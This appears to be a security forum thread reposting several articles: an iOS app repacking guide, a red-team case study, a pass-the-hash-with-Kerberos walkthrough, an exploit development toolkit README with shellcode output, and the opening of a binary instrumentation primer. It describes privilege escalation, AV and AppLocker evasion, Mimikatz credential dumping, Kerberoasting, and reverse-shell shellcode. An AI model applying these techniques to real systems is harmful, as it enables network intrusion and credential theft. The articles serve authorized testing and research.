exit/quit -> Exit . . . . . . . . More info at http://www.frida.re/docs/home/ [Remote::Gadget]-> %resume [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictio naryKey_('CFBundleName')) "LinkedIn" [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictio naryKey_('CFBundleIdentifier')) "com.example.amarekano.advrepackdemo" [Remote::Gadget]-> 4. Repacking Applications that Bundle Companion WatchOS Apps Application Tube Map - London Underground URL https://itunes.apple.com/gb/app/tube-map-london-underground/id320969612?mt=8 Version 5.6.12 IPA SHA1 727f80c3f096dc25da99b9f950a1a8279af1b36c Very often, application developers will include a companion WatchOS application along with their mobile applications. To demonstrate the repacking of iOS application that bundle WatchOS applications, this guide uses the Tube Map application. The layout of the MachO binaries within the IPA is shown below: Payload/ TubeMap.app/ Frameworks/ AFNetworking.framework/ AFNetworking .... <truncated for brevity> ... Watch/ TubeMap WatchKit App.app/ Frameworks/ libswiftCore.dylib ... <truncated for brevity> ... Plugins/ TubeMap WatchKit Extension.appex/ TubeMap WatchKit Extension TubeMap WatchKit App TubeMap 4.1 Decrypting MachO binaries Repacking applications that bundle WatchOS applications presents a unique challenge when it comes to decrypting binaries. All executable binaries within the example applications up until this point in the guide were compiled for a single processor architecture. It was therefore possible to launch these encrypted binaries in a debugger and then dump their decrypted sections. WatchOS binaries are compiled for armv7k architecture. Unfortunately, at the time of writing the author of this guide didn't have a jailbroken iWatch at hand to decrypt the WatchOS binaries. A workaround to to this challenge is discussed below. If the WatchOS application isn't going to be assessed, one could simply delete the Watch/ folder and repack the application just like the previous examples have demonstrated. However, this approach could cause stability issues when running the application, particularly when assessing functionality that involves the WatchOS application. Assuming a jailbroken iWatch is available, one would have to setup debugserver on the jailbroken watch and launch the WatchOS binaries within the debugger. Once applications are running within the debugger, the process to dump decrypted sections of the binaries is the same as regular iOS application binaries that have been demonstrated in the previous examples. 4.2 Patching the Application Patching the decrypted application is once again a matter of adding the FridaGadget dylib to the unpacked IPA and then using optool to insert a load command into the application binary to load the Frida dylib. 4.3 Updating Application Metadata Updating the TubeMap application's metadata involves updating the Info.plist files of the application and the Info.plist files of the application extensions. A suitable provisioning profile needs to be added to the unpacked IPA that targets the specific device. 4.4 Resigning MachO Binaries First resign all bundled frameworks and dylibs and then the application binary. Amars-Mac:Frameworks amarekano$ codesign --force --sign "iPhone Developer: m*******" AFNetworking.framework/AFNetworking AFNetworking.framework/AFNetworking: replacing existing signature ... Amars-Mac:Frameworks amarekano$ codesign --force --sign "iPhone Developer: m*******" libswiftCore.dylib libswiftCore.dylib: replacing existing signature ... Amars-Mac:TubeMap.app amarekano$ codesign --force --sign "iPhone Developer: m*******" --entitlements ../../entitlements.plist TubeMap 4.5 Archive and Install Once the application has been resigned, archive the Payload directory into an IPA and install the repacked IPA onto the target device. Amars-Mac:sandbox amarekano$ zip -qr TubeMap_resigned.ipa Payload/ Amars-Mac:sandbox amarekano$ ideviceinstaller -i TubeMap_resigned.ipa WARNING: could not locate iTunesMetadata.plist in archive! Copying 'TubeMap_resigned.ipa' to device... DONE. Installing 'com.example.amarekano.repackdemo' Install: CreatingStagingDirectory (5%) ...<tuncated for brevity>... Install: GeneratingApplicationMap (90%) Install: Complete 4.6 Running the Repacked Application Once the repacked application has been successfully installed on the target device, launch it using idevicedebug and then connect to the spawned Frida server. Amars-Mac:sandbox amarekano$ frida -H 192.168.1.67:8080 -n Gadget ____ / _ | Frida 10.7.7 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at http://www.frida.re/docs/home/ [Remote::Gadget]-> %resume [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictio naryKey_('CFBundleName')) "Tube Map" [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictio naryKey_('CFBundleIdentifier')) "com.example.amarekano.repackdemo" [Remote::Gadget]-> Closing Thoughts Repacking application is not always straight forward and occasionally researchers will encounter problems when running repacked applications. This could be due to several reasons. Some of these include the applications implementing repack detection by inspecting the bundle id at runtime, detecting debuggers etc. To debug issues as they occur, one should scan the device syslog and dmesg for errors/warnings when running the repacked application. These two sources provide valuable information on running processes. Finally, the information provided in this guide is to aid security researchers in evaluating iOS applications for security vulnerabilities. Sursa: https://labs.mwrinfosecurity.com/blog/repacking-and-resigning-ios-applications/
-
- 1
-
-
Kerberoasting, exploiting unpatched systems â a day in the life of a Red Teamer May 21, 2018 Chetan Nayak Case Studies, Hacks, Penetration Testing, Security Testing, Tools 16 The Scope Recently, we conducted a red team assessment for a large enterprise client where the scenarios allowed were to either use the hardened laptop of the client or to try and connect our own laptop to the network (though they did have a Network Access Control system in place). This blog posts lists out our attempts to overcome the security controls, escalate our privileges, and move through the network, while at the same time ensuring that the SOC does not pick up our activities. For the purpose of this blog, I will be using a virtual name for the bank which is SPB-Groups. Preliminary Escalation: Day 1 We were given a system with Windows 7 x64 and a user named SPB-RANDOM-USER. The user was a non-admin and had extremely limited privileges on the network. PowerShell was blocked on all endpoints. They had Symantec AV and Windows Security Essentials (MSE) on the given system fully updated till date. Alternatively, Cisco NAC agents were also deployed to prevent unauthorized access by external laptops to the client network. All USB ports were disabled, Wi-Fi was enabled, but without any Internet access. So, the primary thing we started with was to find if there were any misconfiguration in the given system through which we could escalate our privileges to local admin. We couldnât find any since most of the things were blocked by the group policy itself. We decided to split the whole task into two parts. My colleague started to analyze different ways to bypass the security mechanisms on the laptop while I started looking for ways to get access to the network via my personal laptop. Upon searching for patches using the below command: wmic qfe list full /format:htable > Updates.html 1 wmic qfe list full /format:htable > Updates.html we found that the client machine was vulnerable to Meltdown (CVE-2017-5715) and Windows COM Privilege Escalation (CVE-2017-0213). I quickly started searching for a POC for either of the exploits online. It was hard to get a hold of Meltdown since it was newly released and there was only a POC which stated whether the system was vulnerable or not. Using the POC to write a custom Meltdown exploit was the last thing we decided that we would do when everything else fails; since it would be pretty time consuming. However, I found a working binary for CVE-2017-0213 which I have uploaded here. The original source code of the exploit can be found here.. Now we had an exploit which could work, but there was a risk of AV detecting it and alerting it to the SOC which we obviously wanted to avoid. Before testing the exploits, we decided to disconnect the machine from their network and connect to our personal hotspot to upload the binaries of the exploit via HTTP. So, I modified the exploit to avoid AV detection but MSE was pretty strong to detect it no matter what how much we modified it. Now we were stuck with a laptop which we werenât able to exploit and couldnât connect it back to the network since it would send an alert of the AV detection. So, while my colleague was busy trying to find a way to bypass the AV, I tried to see if I could bypass the NAC security and get access to the network on my personal laptop. We had a Cisco IP Phone in the room where we were sitting which I then started messing around with, to see if I could get access to the LAN via that. I found that Authentication was enabled without any password. So, I disabled the authentication, changed the mode to Non-Secure and found the MAC address of the IP Phone. I then spoofed the MAC address on my personal Windows machine as below. Device Manager-> Network Adapters -> Ethernet Adapter -> Advanced -> Network Address -> Value Now before connecting my machine to the network I decided to change my hostname to something that matches the hostname schema of the company so that I can hide my laptop in plain sight in the proxy/firewall logs, something like SPB-ComputerName. I then connected the LAN cable and boom! I got an IP address and I was connected to their network. Next step was to find out where were the AD/DC, DNS Servers located. More important than finding the Forest DC was to find the key business Servers which contained the main business applications. Getting access to those meant getting access to the real crown jewels. Rogue Scanning: Day 2 Start of day 2 was disappointing. We returned to the client location only to find out that the primary system which was given to us had already connected back to the WiFi network of the office. This meant that the AV had already pushed up all the alerts that were raised during testing out the exploits a day back. Another problem was when we opened up the laptop, we saw that new patches had been installed and the system was rebooted automatically. Meltdown was patched now. We thought of just keeping the system aside and targeting the network from my personal computer. Instead of using Nmap or some other tool to scan, we decided to directly check the ARP cache and the netstat of the local system. We found a system with the naming convention SPB-DC08 and SPB-RDS30. Looking at the naming convention, we were able to identify that the first one was a DC and second was a Remote Desktop Server. This server RDS30 turned out to be the jump server which is used to connect to various server segments. We then used a PowerShell module named Get-ADComputer on our personal laptop to query the AD to get a list of computers from the AD itself. Doing this it will make sure only legitimate systems are queried and it would keep us away from scanning any decoys (if it were present) or atleast that was the hope. While the query was running, we thought of trying to connect via RDP to the RDS30 server with the default user we were given. We successfully connected to the machine. It was a Windows server 2008 with no AV installed. PowerShell was still blocked however. We had to get PowerShell up and running on this machine there if we wanted to proceed further. Most of the times the Windows AppLocker and the Group Policies block the PowerShell via the file hash. This means if I could use a custom binary to call the PowerShell DLL via winAPI, it would surely work. We thus used the PowerShDLL DLL to call the PowerShell DLL via CMD instead of directly calling the exe of the PowerShell via rundll32. With this we were easily able to bypass the Windows Group Policy App locker/Security policies and get a PowerShell Console. Once, we had PowerShell access in the domain itself, we started to enumerate User SPNs so as to perform Kerberoasting. We used the PowerShell script GetUserSPN.ps1 script to get a list of all user SPNs. Alternatively we thought that since patches are deployed on all systems via SCCM, if our previous system was vulnerable to the CVE-2017-0213, even this should be. And since there is no AV installed, we should be able to escalate our privilege. We moved the CVE binary from my system via RDP to the remote target, executed it and boom! I added a new user as a local admin for persistence which I can connect via Psexec.exe in case my existing user gets blocked since it had already triggered the AV previously. Persistence is a pretty important thing when you perform red team assessments. Now the next best step was to dump the credentials of the system. I used Procdump.exe as below. The aim was to use as low a number of malicious binaries as possible. Since Procdump is officially signed by Microsoft, there was a less chance of it getting sighted as malicious. Once a dump was created, we copied it back to our system and used Mimikatz to dump the creds locally. P.S.: The usernames, domain names, rootkeys, passwords, Authentication IDs which you can see below all have been modified to virtual ones. These are not real and only made to look real so as to make it relatable to the blog. Now we had access to around 8-9 credentials, most of them were normal users however and still we were far away from getting Domain Admins or Application Admins. But this was a good start. Now came the time when we decided to start moving laterally. We started enumerating other systems by guessing and querying the DC name we gathered previously. So, if one system name is RDS30, then there must be others numerically like rds01, rds02, rds03 and so on. So, I wrote a simple script to perform nslookup on the DC in a loop on all these machines to see which machines existed so that I can use the dumped credentials to move laterally throughout the organization. Also, we found a lot of users logged in with the domain/computer SPB-ERP, SPB-IT-HR, SPB-CC-DBADMIN other than the 8-9 compromised users above. This is when we realized that these are not real users. These were the Decoy users and if we wouldâve used it, it would straight away raise an alert. So, we decided to use only users which were in the current domain, which looked legit by the naming convention or had logged in 2-3 days old only and by looking at the last login in Mimikatz dump. The Lateral Movement: Day 3 So, one thing we decided was that we wonât use the same creds to login to different machines. So, we started to login with different creds every time we RDPâd to other systems. For eg:- If we had users like SPB-user1, SPB-user2, SPB-user3 and machines like SPB-system1, SPB-system2, SPB-system3; we were moving like this: Login to SPB-system1 with SPB-user1 via RDP Login to SPB-system2 from SPB-system1 via SPB-user2 via RDP Login to SPB-system3 from SPB-system2 from SPB-system1 via SPB-user3 via RDP and so on We were basically 10 systems deep, had slow systems and lagging network connectivity but it kept everything quiet and outside the radar. Every system we logged in, we were taking a look at C:\Users to see if any new user had logged into the system recently (Change in date and time of the folder with username). We were only exploiting the system to dump creds, if any good users were there like DC-Admin, Support-Admin or SAP Admin. In this manner we reached around 60+ RDS systems gathering almost 90-100+ users logged in to the system. We finally found an RDS user and this user had access to most of the RDS System with a bit higher privileges than the normal users that we were using. We also found an excel sheet in one of the RDS Desktopâs C:\ drive with the name âUsers infoâ. When I opened it up it contained usernames and passwords of all local admins of the RDS Systems. This was like hitting the jackpot! So almost all RDS Servers were pawned at this point. Now since we had access to almost all RDS servers, we had 2 options. Primary one being to wait for some admin to login to RDS, check every user folder and then again dump the password for that. Or we can simply run Bloodhound to find active session of users to different computers. Finally, being tired of doing this manually, we decided to use BloodHound. We downloaded the compiled dot net binary of BloodHound and ran it on one of the RDS server SPB-RDS46. And lo and behold. BloodHound gave us a list of active sessions of users and which system they are logged in into currently. P.S: The images are for representational purposes only After checking the details in bloodhound, we found that one of the VMWare admin was logged in into RDS53. We quickly jumped into that server only to find out that all updates had been installed on the system and it asked for a prompt to reboot the system to apply the updates. We postponed it for 10 minutes and saw the C:\Users folder that one SCCM admin had recently logged in to the system just 30 minutes ago. We quickly executed the same exploit CVE-2017-0213, ran Procdump and locally dumped the creds. And finally, we had found the VMWare admin as well as the SCCM Admin creds. Looks like the updates didnât apply till the system was rebooted and the SCCM admin had logged in to run Microsoft Baseline Security Analyzer for the patches which was still running in the backend. We already had the VMWARE Server name with us with the Get-ADComputer PowerShell script that we ran previously. We RDPâd into the System with the VMWare Admin user and found a weblogin for the VMWare Management Server. We fired up the portal and tried to use the same creds we found previously, and we were now, the VMWare Admin and controlled all the virtualized systems within the Data Center. Updated (to make the statement more clear): We then proceeded to extract the SPN tickets using powershell that we had bypassed previously and also used Impacket for Kerberoasting and then brute forced the tickets to get the credentials. Using this we were able to get access to other systems using the service accounts and then dumped the credentials via procdump and got the creds for the DC-Admin and also the KTBTGT hash. The thing was during the last 2 days I had to move out to a different project and my colleague performed these steps to get the DC. Thus, I have explained only my part of the blogpost. We almost compromised all of the users connected to the servers, SCCM Admins, Few HR and IT personals, RDS Users and all the VMWare server Users. It was funny that how simple mistakes or missing even a simple patch can lead to this much destruction. Only if the NAC was implemented properly, all of this couldâve been impossible since the other system provided by the client was literally worthless with all the security they had applied. Recommendations The NAC was the main point of compromise here. Without the NAC agent installed, it shouldnât have even assigned an IP address to my personal laptop. Also, the new user that was created and given to us for the activity had low-level access to a number of Jump Servers. This basically meant that there was an improper AD implemented under which new employees are assigned by default to a group that has access to servers. The users and the server segments shouldâve been properly segregated and shouldnât be allowed to RDP or connect to any servers unless there is an absolute business need for it. Another issue was that there was no endpoint protection beyond the anti-virus agent deployed. A UEBA tool or an EDR tool or even simply Sysmon with some open source analytical tool to analyze whatâs happening in the backend would have helped pick up the activity possibly. And the main part was that there was no wdigest enabled on the servers where we dumped the credentials. If they had, then we wouldâve only found the hash of the password and not the cleartext credentials in the dump. Also when we pwned the DC via Kerberoasting, we had to crack the credentials from the tickets we captured. And the passwords used by the employees were something that could be easily cracked using a wordlist. So complex passwords for service accounts is still a very important security control Additionally, monitoring for Kerberoasting attacks is now strongly recommended. About Latest Posts Follow me at Chetan Nayak OSCP | Security Researcher at Network Intelligence Chetan Nayak is a security researcher in Network Intelligence. He has a keen interest in Malware development, hacking networks, RF devices and threat hunting. Sursa: http://niiconsulting.com/checkmate/2018/05/kerberoasting-exploiting-unpatched-systems-a-day-in-the-life-of-a-red-teamer/
-
- 1
-
-
Pass the Hash with Kerberos Jul 24, 2018 This blog post may be of limited use, most of the time, when you have an NTLM hash, you also have the tools to use it. But, if you find yourself in a situation where you donât have the tools and do happen to have kerberos tools, you can pass the hash with it. Lets say with have the NTLM hash for the user uberuser and the hash is 88e4d9fabaecf3dec18dd80905521b29. The first step to do so is to create a keytab file using ktutil: root@wpad:~# ktutil At the ktutil prompt, type in the âadd entryâ (addent) command with the âprincipalsâ (-p) flag. Specify the user and an all uppercase version of the FQDN. Then the âKVNOâ (-k 1), which is the key number. Finally the encryption type, which is rc4-hmac for NTLM hashes: ktutil: addent -p uberuser@CORP.SOMEWHATREALNEWS.COM -k 1 -key -e rc4-hmac After you hit enter youâll get prompted for the rc4-hmac (NTLM) hash: Key for uberuser@CORP.SOMEWHATREALNEWS.COM (hex): 88e4d9fabaecf3dec18dd80905521b29 Then we write the keytab file to disk and exit ktutil ktutil: wkt /tmp/a.keytab ktutil: exit The last step before we can use our authentication is to create a kerberos ticket using our keytab file. root@wpad:~# kinit -V -k -t /tmp/a.keytab -f uberuser@CORP.SOMEWHATREALNEWS.COM Using default cache: /tmp/krb5cc_0 Using principal: uberuser@CORP.SOMEWHATREALNEWS.COM Using keytab: /tmp/a.keytab Authenticated to Kerberos v5 Validate it with klist: root@wpad:~# klist Ticket cache: FILE:/tmp/krb5cc_0 Default principal: uberuser@CORP.SOMEWHATREALNEWS.COM Valid starting Expires Service principal 07/22/2018 21:38:43 07/23/2018 07:38:43 krbtgt/CORP.SOMEWHATREALNEWS.COM@CORP.SOMEWHATREALNEWS.COM renew until 07/23/2018 21:38:40 Sursa: https://malicious.link/post/2018/pass-the-hash-with-kerberos/
-
Exploit-Development-Tools A bunch of my exploit development helper tools, that I've developed over time and used, collected in one place. Gathered mostly from my (gists) and/or HDD. Tools of trade: expdevBadChars - This is a Bad Characters highlighter intended to be used for exploit development purposes. It supports multiple input formats and is able to effectively convert from regex-matching format to the byte array. This makes this tool useful while we have for instance shellcode encoded as a Python string concatenation sequence and we want to quickly compare it with the OllyDbg memory that we just dumped (either in textual, printable form or in raw hex binary bytes). For more informations, go to: expdevBadChars ascii-shellcode-encoder.py - ASCII Shellcode encoder for Exploit Development purposes, utilizing Jon Erickson's substract arguments finding algorithm. (Gist) Example output: [*] Input buffer size: 32 bytes. [+] SHELLCODE ENCODED PROPERLY. Resulted length: 207 bytes -------------------------------------------------------------------------------- %JMNU%521*TX-fMUU-fKUU-jPUUP\%JMNU%521*-bb3b-b060-t2C2-SSSSP-5qv7-0g7g-*b0b-7777P-PB0v-mmmm-v6vp-L8KaP-vvrv-4v0v-1K-w-ffffP-nn5n-uu*p-gf1t-iiiiP-VVVn-MmMM-StrS-Duv6P-%9Hx-0Bfk-84fz-ffffP-UUUU-gyUU-uzqq-xwkNP -------------------------------------------------------------------------------- [+] HEX FORM: 254a4d4e55253532312a54582d664d55552d664b55552d6a505555505c254a4d4e55253532312a2d626233622d623036302d743243322d53535353502d357176372d306737672d2a6230622d37373737502d504230762d6d6d6d6d2d763676702d4c384b61502d767672762d347630762d314b2d772d66666666502d6e6e356e2d75752a702d676631742d69696969502d5656566e2d4d6d4d4d2d537472532d44757636502d253948782d3042666b2d3834667a2d66666666502d555555552d677955552d757a71712d78776b4e50 [+] ESCAPED-HEX FORM: \x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x54\x58\x2d\x66\x4d\x55\x55\x2d\x66\x4b\x55\x55\x2d\x6a\x50\x55\x55\x50\x5c\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x62\x62\x33\x62\x2d\x62\x30\x36\x30\x2d\x74\x32\x43\x32\x2d\x53\x53\x53\x53\x50\x2d\x35\x71\x76\x37\x2d\x30\x67\x37\x67\x2d\x2a\x62\x30\x62\x2d\x37\x37\x37\x37\x50\x2d\x50\x42\x30\x76\x2d\x6d\x6d\x6d\x6d\x2d\x76\x36\x76\x70\x2d\x4c\x38\x4b\x61\x50\x2d\x76\x76\x72\x76\x2d\x34\x76\x30\x76\x2d\x31\x4b\x2d\x77\x2d\x66\x66\x66\x66\x50\x2d\x6e\x6e\x35\x6e\x2d\x75\x75\x2a\x70\x2d\x67\x66\x31\x74\x2d\x69\x69\x69\x69\x50\x2d\x56\x56\x56\x6e\x2d\x4d\x6d\x4d\x4d\x2d\x53\x74\x72\x53\x2d\x44\x75\x76\x36\x50\x2d\x25\x39\x48\x78\x2d\x30\x42\x66\x6b\x2d\x38\x34\x66\x7a\x2d\x66\x66\x66\x66\x50\x2d\x55\x55\x55\x55\x2d\x67\x79\x55\x55\x2d\x75\x7a\x71\x71\x2d\x78\x77\x6b\x4e\x50 [+] PYTHON COMPACT SEXY FORM: shellcode += r"%JMNU%521*TX-fMUU-fK" shellcode += r"UU-jPUUP\%JMNU%521*-" shellcode += r"bb3b-b060-t2C2-SSSSP" shellcode += r"-5qv7-0g7g-*b0b-7777" shellcode += r"P-PB0v-mmmm-v6vp-L8K" shellcode += r"aP-vvrv-4v0v-1K-w-ff" shellcode += r"ffP-nn5n-uu*p-gf1t-i" shellcode += r"iiiP-VVVn-MmMM-StrS-" shellcode += r"Duv6P-%9Hx-0Bfk-84fz" shellcode += r"-ffffP-UUUU-gyUU-uzq" shellcode += r"q-xwkNP" It is possible also to generate list of SUB instructions to compute only one DWORD: kali $ ./ascii-shellcode-encoder.py 0x1688 [*] Input buffer size: 4 bytes. [+] SHELLCODE ENCODED PROPERLY. Resulted length: 21 bytes -------------------------------------------------------------------------------- -A777-i%%%-r2II-\ZZZP -------------------------------------------------------------------------------- [+] HEX FORM: 2d413737372d692525252d723249492d5c5a5a5a50 [+] ESCAPED-HEX FORM: \x2d\x41\x37\x37\x37\x2d\x69\x25\x25\x25\x2d\x72\x32\x49\x49\x2d\x5c\x5a\x5a\x5a\x50 [+] PYTHON COMPACT SEXY FORM: shellcode += r"-A777-i%%%-r2II-\ZZZ" shellcode += r"P" format_string_vuln_gen.py - Format String vulnerability input generator to be used during exploit development stage at constructing stable x86 (32bit) input vectors. (Gist) Example usage scenario - Using Format String vulnerability, we want to overwrite two DWORDs at specified addresses with some specific values: root# ./gen_format_string.py 0xbffff50c,0xbffff514 14 $'\x90\x31\xe6\xb7' $'\x24\x3a\xf8\xb7' -n 1 .:: x86/32bit Format string generator ::. - by mgeeky, 2016, v0.3a [>] Addresses to overwrite: ['0xbffff50c', '0xbffff514'] (...) Resulted format string to use (116 bytes long / 0x74) padded in front with 1 dots to mimic offset: $'.\x0c\xf5\xff\xbf\x0e\xf5\xff\xbf\x14\xf5\xff\xbf\x16\xf5\xff\xbf%12671x%14$hn%34390x%15$hn%33342x%16$hn%32212x%17$hn' lindump - simple process memory dumping utility based on ptrace :: lindump v0.1 Simple Linux process memory dumping utility based on ptrace Mariusz B., '16 Usage: lindump [options] <pid> [start [stop|Llen]] Arguments: <pid> Process ID start Dumping start address, may be 0x for hex, or not for dec. stop Upper address to reach while dumping. When preceded with letter 'L' stands for length Llen Specifies number of bytes to dump. Also may be preceded with 0x (e.g. L0x10) Options: -o Memory dumps output directory (stdout hexdump otherwise, '-' for stdout) -f Force dumping of unreadable or inaccessible regions (still not a brute force) -v Verbose output. -h This cruft dlresolve - dynamic symbol resolve utility useful while in need of obtainin symbol's address and it's offset relative to the libc's base (handy while crafting ASLR exploits) ./dlresolve system [+] libc comes from: /lib/x86_64-linux-gnu/libc-2.19.so [+] libc loaded at: 0x7f44e2b24000 [+] system located at: 0x7f44e2b65490 [+] Offset from libc base: 0x00041490 python_memory_dump.py - Example of dumping memory from within Python's code, using ctypes.c_byte.from_address (Gist) Example usage: $ ./python_memory_dump.py Hex dump from 0x000055b92c7c2000 0000 | 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 | .ELF............ 0010 | 03 00 3e 00 01 00 00 00 10 42 0d 00 00 00 00 00 | ..>......B...... 0020 | 40 00 00 00 00 00 00 00 38 4c 39 00 00 00 00 00 | @.......8.9..... 0030 | 00 00 00 00 40 00 38 00 09 00 40 00 1e 00 1d 00 | ....@.8...@..... 0040 | 06 00 00 00 05 00 00 00 40 00 00 00 00 00 00 00 | ........@....... 0050 | 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 | @.......@....... 0060 | 08 01 00 00 00 00 00 00 08 01 00 00 00 00 00 00 | ................ 0070 | 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 | ................ 0080 | 38 02 00 00 00 00 00 00 38 02 00 00 00 00 00 00 | 8.......8....... 0090 | 38 02 00 00 00 00 00 00 1c 00 00 00 00 00 00 00 | 8............... 00a0 | 1c 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 | ................ 00b0 | 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 | ................ 00c0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00d0 | 0c 2d 32 00 00 00 00 00 0c 2d 32 00 00 00 00 00 | .-2......-2..... 00e0 | 00 00 20 00 00 00 00 00 01 00 00 00 06 00 00 00 | .. ............. 00f0 | 38 39 32 00 00 00 00 00 38 39 52 00 00 00 00 00 | .92......9R..... kernel_dump_seh.wds - Windbg script that dumps Structured Exception Handlers linked-list from Kernel Mode KPCR structure. Useful while working on Kernel-Mode SEH-based exploitation. (Gist) Example output: 0: kd> $$><C:\Users\ieuser\Desktop\dump_seh.wds KPCR. = 0x8293dc00 KPCR.NtTib.ExceptionList = 0x829371ec SEH[00]: Next: 0x82937254, Handler: 0x828d36f0 SEH[01]: Next: 0x82937ad4, Handler: 0x828d36f0 SEH[02]: Next: 0x82937c04, Handler: 0x828d36f0 SEH[03]: Next: 0x9a1092e4, Handler: 0x828d36f0 SEH[04]: Next: 0x9a1093ec, Handler: 0x828d36f0 SEH[05]: Next: 0x9a109a34, Handler: 0x8288aad6 SEH[06]: Next: 0x9a109b3c, Handler: 0x828d36f0 SEH[07]: Next: 0x9a10a184, Handler: 0x8288aad6 SEH[08]: Next: 0x9a10a28c, Handler: 0x828d36f0 SEH[09]: Next: 0x9a10a8d4, Handler: 0x8288aad6 SEH[10]: Next: 0x9a10a9dc, Handler: 0x828d36f0 SEH[11]: Next: 0x9a10b024, Handler: 0x8288aad6 SEH[12]: Next: 0x9a10b12c, Handler: 0x828d36f0 SEH[13]: Next: 0x9a10b76c, Handler: 0x8288aad6 SEH[14]: Next: 0x9a10bac0, Handler: 0x828d36f0 SEH[15]: Next: 0x35724134, Handler: 0x41367241 ^-- Broken Handler. printable.sh - One liner determining whether Metasploit's msfpescan's output addresses are printable (contain only ascii characters) or not. (Gist) pexpect-interactive.py - Basic Python's pexpect usage routines in interactive process invocation. Especially handy when it comes to heap-overflow or Use-After-Free exploits, since such process interaction in python may be cumbersome without proper process I/O primitives. (Gist) request2size.c - Simple utility calculating some basic heap chunk's characteristics like chunk size, bin index and it's range - according to original Doug Lea's heap allocator implementation. Useful while grasping Heap Overflow binning conditions. (Gist) find-aslr-collision.sh - Find ASLR collision bash one-liner. (Gist) For the record: x86 ( Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux) ASLR collision found after: 903 re-launch. (it takes no more than couple of seconds ) x86_64 ( Linux work 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux ) ASLR collision found after: 304610 re-launch. (it took roughly 16 minutes ) findInstr.sh - Ultra simple Assembly instruction grepper rolling byte-by-byte within target's .text section - to be used while looking for trampoline address for ROP/Exploit (Gist) bin2shellcode.py - Binary blob to C-array simple converting script. Useful when embedding compiled binary shellcode within C program. (Gist) execve.c - Example of simple execve("/bin/sh", ...) shellcode, embedded in C program. (Gist) memory-occupied-by-process.sh - Bash oneliner counting number of bytes occupied by chosen (by PID) process. It works by iterating /proc/$PID/maps file, then computing each memory region range size, then adding it together. Kinda slow though. Worth to mention - it is terribly bad at performance, having written this oneliner I realized we can use /proc/$PID/smaps to obtain the same result much faster. (Gist) shellc2bin.py - Shellcode 2 binary script that reads C-formatted array from Windows clipboard and converts it to binary output written to desired file. (Gist) encshell.py - x86 Shellcode XOR-based encoder intended to do away forbidden chars. Came handy to me several times (Gist) shellcode_win32_netw_active.asm - Win32/x86 Reverse-Shell Shellcode written by hand, with dynamic API resolution. shellcode_win32_spawn_cmd.asm - Win32/x86 Spawn CMD shellcode with dynamic API resolution. Sursa: https://github.com/mgeeky/Exploit-Development-Tools
-
Dynamic Binary Instrumentation Primer Jul 25, 2018 âą By rui Dynamic Binary Instrumentation (DBI) is a method of analyzing the behavior of a binary application at runtime through the injection of instrumentation code - Uninformed 2007 Introduction The purpose of this post is to document my dive into the âworldâ of Dynamic Binary Instrumentation. Iâll cover some of the most well known and used DBI frameworks. That is Pin, DynamoRIO, and Frida. From these three Iâll mainly focus on Pin. There are other DBI frameworks that I wonât touch at all, like Valgrind, Triton (uses Pin), QDBI, BAP, Dyninst, plus many others. You might want to have a look at them. Some are more mature, some are less mature. Some have more features, some have fewer features. Youâll have to do some research yourself and see which ones fit your needs. Even though Valgrind is one of the most widely known, and used DBI frameworks, itâs only available for Linux. So, I wonât touch it at all. In my vulnerability hunting adventures Iâve been focused on Windows, and in fact, if you want to take the code Iâll present here and build it on Linux it should be pretty straightforward. While the opposite wouldnât be true. The reason being is that building Pin or DynamoRIO on Windows can be a bit frustrating. Especially if you arenât motivated to do so. Iâm not an expert in this area (DBI), however since the beginning of the year that Iâve been doing some experiments around Fuzzing, and Iâve read a lot about the subject. Hence, Iâll try to document some of what I learned for future reference. Possibly youâll also find it useful. Note that my goal was to write a reference and not a tutorial. The funny part is that I actually thought about doing âsomethingâ with Pin, or DynamoRIO, while trying to do some browser Heap Spraying. Basically, I wanted to monitor the memory allocations my code was producing. While I could do it inside a debugger I thought, âwhy not use a DBI framework? Maybe I can learn somethingâ. After all, debuggers are slow. Until today, Iâm still unsure if I prefer to use WinDbg or Pin for this anyway. Instrumentation According to Wikipedia, instrumentation refers to an ability to monitor or measure the level of a productâs performance, to diagnose errors and to write trace information. Programmers implement instrumentation in the form of code instructions that monitor specific components in a system (âŠ). When an application contains instrumentation code, it can be managed using a management tool. Instrumentation is necessary to review the performance of the application. Instrumentation approaches can be of two types: Source instrumentation and binary instrumentation. As stated above, there are two types of instrumentation. Source instrumentation, which is not possible if you donât have the source code of the software application. And binary instrumentation, which can be used with any software application assuming we can execute it. It turns out that most of the programs you run on a Windows operating system are closed source. Which means, in this post, Iâll be âtalkingâ only about binary instrumentation. Often called Dynamic Binary Instrumentation, or Dynamic Binary Modification. Because words take too long, usually people use the acronym DBI, as I already did above. In a one-line statement, Dynamic Binary Instrumentation is a technique that involves injecting instrumentation code into a running process. The instrumentation code will be entirely transparent to the application that itâs been injected to. With a DBI framework, we can analyze the target binary execution step by step. However, note that the analysis only applies to executed code. Dynamic Program Analysis There are two types of program analysis, static, and dynamic. We perform static analysis without running a computer program. While we perform dynamic analysis when we run a computer program. Citing Wikipedia again, Dynamic program analysis is the analysis of computer software that is performed by executing programs on a real or virtual processor. For dynamic program analysis to be effective, the target program must be executed with sufficient test inputs to produce interesting behavior. Use of software testing measures such as code coverage helps ensure that an adequate slice of the programâs set of possible behaviors has been observed. Dynamic binary modification tools, like the frameworks mentioned earlier, introduce a layer between a running program and the underlying operating system. Providing a unique opportunity to inspect and modify user-level program instructions while a program executes. These systems are very complex internally. However, all the complexity is masked in an API that allows any user to quickly build a multitude of tools to aid software 